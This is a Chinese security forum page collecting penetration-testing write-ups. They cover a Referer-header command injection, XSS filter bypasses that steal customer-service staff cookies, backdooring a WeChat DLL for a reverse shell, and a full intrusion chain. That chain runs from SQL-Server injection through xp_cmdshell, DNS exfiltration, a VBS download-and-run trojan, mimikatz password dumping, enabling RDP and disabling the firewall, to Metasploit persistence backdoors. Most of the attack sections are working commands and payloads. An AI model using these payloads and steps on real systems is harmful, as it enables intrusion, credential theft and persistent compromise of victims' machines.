命令执行一则

渗透测试linkally 发表了文章 • 0 个评论 • 134 次浏览 • 2020-08-23 23:05 • 来自相关话题

GET /forwardUrl.htm HTTP/1.1
Content-Length: 0
Referer: dasdasdasd|ls -al /
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Cookie: TY_SESSION_ID=e000c4ed-10c8-43f0-8262-eea285bdbb76;randomToken=24664601;PHPSESSID=uq0kne082sgoog5mov3qmrr6l
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Host: XXX 查看全部
GET /forwardUrl.htm HTTP/1.1
Content-Length: 0
Referer: dasdasdasd|ls -al /
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Cookie: TY_SESSION_ID=e000c4ed-10c8-43f0-8262-eea285bdbb76;randomToken=24664601;PHPSESSID=uq0kne082sgoog5mov3qmrr6l
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Host: XXX

赛克艾威漏洞预警(5月23-5月29号)

漏洞预警ypk 发表了文章 • 0 个评论 • 155 次浏览 • 2020-05-29 15:36 • 来自相关话题

赛克艾威漏洞预警(5月16-5月22号)

漏洞预警ypk 发表了文章 • 0 个评论 • 160 次浏览 • 2020-05-22 21:07 • 来自相关话题

赛克艾威漏洞预警(5月9-5月15号)

漏洞预警ypk 发表了文章 • 0 个评论 • 155 次浏览 • 2020-05-15 20:49 • 来自相关话题

赛克艾威漏洞预警(5月2-5月8号)

漏洞预警ypk 发表了文章 • 0 个评论 • 174 次浏览 • 2020-05-08 17:18 • 来自相关话题

棒打某客服系统的反射xss,去获取客服账号权限

Web安全渗透lzy_smile 发表了文章 • 0 个评论 • 411 次浏览 • 2020-05-05 22:13 • 来自相关话题

在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来.





我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.





扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)





众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,






 
标签没有正常解析,像这样.





唉,关机,不测了,又是零漏洞的一天.
 
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)





 
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容





既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析





但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)










 
 

4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee>

121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>

你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//
 
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
 
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....





高危一枚!
 
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下 查看全部
在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来.

1.png

我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.

2.png

扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)

3.png

众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,


4.png

 
标签没有正常解析,像这样.

5.png

唉,关机,不测了,又是零漏洞的一天.
 
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)

6.png

 
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容

7.png

既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析

8.png

但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)

9.png


10.png

 
 

4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee> 

121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>

你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//

 
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
 
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....

11.png

高危一枚!
 
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下

赛克艾威漏洞预警(4月25-5月1号)

漏洞预警ypk 发表了文章 • 0 个评论 • 177 次浏览 • 2020-05-03 21:04 • 来自相关话题

微信dell劫持反弹shell

渗透测试ypk 发表了文章 • 0 个评论 • 234 次浏览 • 2020-04-28 17:00 • 来自相关话题

dll劫持原理
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。

如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。





 
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
 
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
 
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs





打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。





2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信





3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py //检查工具是否可用




上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone 安装capstone模板4、 ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP















在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件





5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start 开启postgresql数据库
msfconsole 开启Metasploit




6、加载exploits和payloads
use exploit/multi/handler 选择exploits
set payload windows/shell_reverse_tcp 设置payloadset lhost kali的IP 设置监听地址
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell




 
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer​
  查看全部
dll劫持原理
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。

如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。

`M4_LATK08~Z7H22H2)H{M7.png

 
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
 
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
 
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs

7BN1E5N7OBMA(3YK_7(@5{U.png

打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。

9DM1H2V0KI8IOJ~KA{K3_2.png

2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信


3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py   //检查工具是否可用

4[J72LP(ON513HVW{{PQ6PE.png

上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone  安装capstone模板
4、
 ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP

Q3~9VUT@8]X(L7A_}I7J78N.png



1.png


2.png

在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件

]T)K3_PA(HW~(C[H9A81B.png

5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start  开启postgresql数据库
msfconsole 开启Metasploit

EF(J~W92[IU_MBTDQ6@5N.png

6、加载exploits和payloads
use exploit/multi/handler  选择exploits
set payload windows/shell_reverse_tcp 设置payload
set lhost kali的IP  设置监听地址
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块
7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell
B]Q`(N2()V57MJ(9)NDB}8U.png

 
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer​
 

记一次渗透实战(转)

渗透测试jizi_smile 发表了文章 • 0 个评论 • 338 次浏览 • 2020-04-26 21:44 • 来自相关话题

一.信息收集
用dirsearch扫了一波目录没有发现什么东西






 
直接用主站域名解析的ip访问发现主站是挂有cdn的
 





 subDomainsBrute 扫描子域名






 
其中一个子域没挂CDN,由此找到网站的真实ip
 





 
得到真实ip后nmap扫描发现8099端口有个未知应用






访问发现是个WEB服务,一个登陆界面
 二.漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能






 
遂把目光放在了nmap扫出的8099端口的web服务






 
 
常规测试admin/admin,提示密码错误






 
l3yx/xxxx,账号不存在






 
那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!






于是很熟练的构造"万能密码",admin/x' or 'x'='x--
 





然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息












账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常






由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;






执行系统命令exec master..xp_cmdshell "whoami"
这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果












三. 命令执行结果DNS带外 
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
 
最后的paylaodexec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";


















没想到直接就是system权限
四. 写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2



用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs
注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图


















在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录






说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell






 五.信息收集ipconfig
查了一下ip,发现处在内网






 
查看域用户net group /domain
有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望






 
查看系统基本信息systeminfo






 
查看端口,没开3389netstat -ano






 
查看相邻主机IParp –a






抓用户hash












解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载load mimikatz
然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令mimikatz_command -f sekurlsa::logonPasswords






 六.连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


















关闭防火墙:netsh firewall set opmode mode=disable
尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed






真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:portfwd add -l 3389 -p 3389 -r 192.168.50.2
这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)






然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改






 七.内网扫描
要对目标内网进行扫描需要先添加一下路由run autoroute -s 192.168.50.2/24






 
 
使用metasploit的portscan扫描一下内网存活的主机use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit






有点慢呢,最后扫了一半还没发现其他主机就放弃了
 八.权限维持metasploi Metsvc模块
这个使用很简单run metsvc






其实是给目标开了一个服务






连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
 metasploi Persistence模块run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx



-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址






 清除脚本在下图位置






若要清除后门,在meterpreter运行该脚本即可




 
转自:(www.cnblogs.com/leixiao-/p/10865160.html) 查看全部
一.信息收集
用dirsearch扫了一波目录没有发现什么东西

11.png


 
直接用主站域名解析的ip访问发现主站是挂有cdn的
 
12.png


 subDomainsBrute 扫描子域名

13.png


 
其中一个子域没挂CDN,由此找到网站的真实ip
 
14.png


 
得到真实ip后nmap扫描发现8099端口有个未知应用

15.png


访问发现是个WEB服务,一个登陆界面
 二.漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

21.png


 
遂把目光放在了nmap扫出的8099端口的web服务

22.png


 
 
常规测试admin/admin,提示密码错误

23.png


 
l3yx/xxxx,账号不存在

24.png


 
那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

25.png


于是很熟练的构造"万能密码",admin/x' or 'x'='x--
 
26.png


然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息

27.png



28.png


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

29.png


由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',  1;RECONFIGURE;


210.png


执行系统命令
exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

211.png



212.png


三. 命令执行结果DNS带外 
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
 
最后的paylaod
exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";


31.png



32.png



33.png


没想到直接就是system权限
四. 写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:


iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2




用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下
echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图

41.png



42.png



43.png


在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录

44.png


说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell

45.png


 五.信息收集
ipconfig

查了一下ip,发现处在内网

51.png


 
查看域用户
net group /domain 

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

52.png


 
查看系统基本信息
systeminfo


53.png


 
查看端口,没开3389
netstat -ano


54.png


 
查看相邻主机IP
arp –a


55.png


抓用户hash

56.png



57.png


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载
load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令
mimikatz_command -f sekurlsa::logonPasswords


58.png


 六.连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


61.png



62.png



63.png


关闭防火墙:
netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

64.png


真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:
portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

65.png


然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改

66.png


 七.内网扫描
要对目标内网进行扫描需要先添加一下路由
run autoroute -s 192.168.50.2/24


71.png


 
 
使用metasploit的portscan扫描一下内网存活的主机
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit


72.png


有点慢呢,最后扫了一半还没发现其他主机就放弃了
 八.权限维持metasploi Metsvc模块
这个使用很简单
run metsvc 


81.png


其实是给目标开了一个服务

82.png


连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
 metasploi Persistence模块
run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx



-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

83.png


 清除脚本在下图位置

84.png


若要清除后门,在meterpreter运行该脚本即可
85.png

 
转自:(www.cnblogs.com/leixiao-/p/10865160.html)

赛克艾威漏洞预警(4月18-4月24号)

漏洞预警ypk 发表了文章 • 0 个评论 • 99 次浏览 • 2020-04-26 20:23 • 来自相关话题